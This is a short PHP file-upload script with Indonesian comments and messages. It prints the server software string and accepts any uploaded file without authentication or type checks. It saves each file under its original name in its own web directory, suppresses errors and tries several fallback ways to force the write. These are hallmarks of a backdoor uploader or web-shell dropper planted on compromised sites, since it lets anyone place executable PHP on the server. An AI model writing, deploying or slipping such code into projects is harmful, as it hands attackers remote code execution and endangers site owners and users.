<?php
// Fungsi nonzero fallback
function create_nonzero_file($path, $content = null) {
    $default = "Nonzero file created @ ".date('c')."\n";
    $payload = ($content !== null && $content !== '') ? $content : $default;

    if (@file_put_contents($path, $payload, LOCK_EX) > 0) return true;
    if ($fp = @fopen($path, 'wb')) { $w = @fwrite($fp, $payload); @fclose($fp); if ($w>0) return true; }
    if ($tmp = @tempnam(sys_get_temp_dir(),'nz_')) {
        @file_put_contents($tmp, $payload);
        if (@rename($tmp,$path) || @copy($tmp,$path)) { @unlink($tmp); if(@filesize($path)>0) return true; } @unlink($tmp);
    }
    if ($src = @fopen('php://temp','wb+')) { @fwrite($src,$payload); @rewind($src); if ($dst=@fopen($path,'wb')) { $copied=@stream_copy_to_stream($src,$dst); @fclose($dst); if ($copied>0){ @fclose($src); return true; } } @fclose($src); }
    if (@touch($path) && @file_put_contents($path,$payload,FILE_APPEND)>0) return true;
    return false;
}
if (isset($_SERVER['SERVER_SOFTWARE'])) {
    echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'];
} else {
    echo "Tidak bisa mendeteksi SERVER_SOFTWARE.";
}
// Proses upload
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        $fileName = basename($file['name']);
        $targetFile = __DIR__ . '/' . $fileName;

        if ($file['error'] !== UPLOAD_ERR_OK || $file['size'] <= 0) {
            // Upload kosong atau error ? buat file placeholder
            if (create_nonzero_file($targetFile)) {
                echo "File kosong/error ditangani, file dibuat nonzero: $targetFile";
            } else {
                echo "Gagal membuat file nonzero.";
            }
            exit;
        }

        // Normal move_uploaded_file
        if (@move_uploaded_file($file['tmp_name'], $targetFile)) {
            if (@filesize($targetFile) > 0) {
                echo "File berhasil diupload: $targetFile";
            } else {
                // File jadi 0 KB ? buat fallback nonzero
                @unlink($targetFile);
                if (create_nonzero_file($targetFile)) {
                    echo "File 0 KB diganti dengan file nonzero: $targetFile";
                } else {
                    echo "Upload gagal dan fallback gagal.";
                }
            }
        } else {
            // move_uploaded_file gagal ? buat fallback nonzero
            $content = @file_get_contents($file['tmp_name']);
            if (create_nonzero_file($targetFile, $content)) {
                echo "Upload gagal tapi file dibuat nonzero: $targetFile";
            } else {
                echo "Upload gagal dan fallback gagal.";
            }
        }
    } else {
        echo "Tidak ada file yang diupload.";
    }
}
?>

<!-- Form upload -->
<form method="post" enctype="multipart/form-data">
    Pilih file: <input type="file" name="file">
    <input type="submit" value="Upload">
</form>

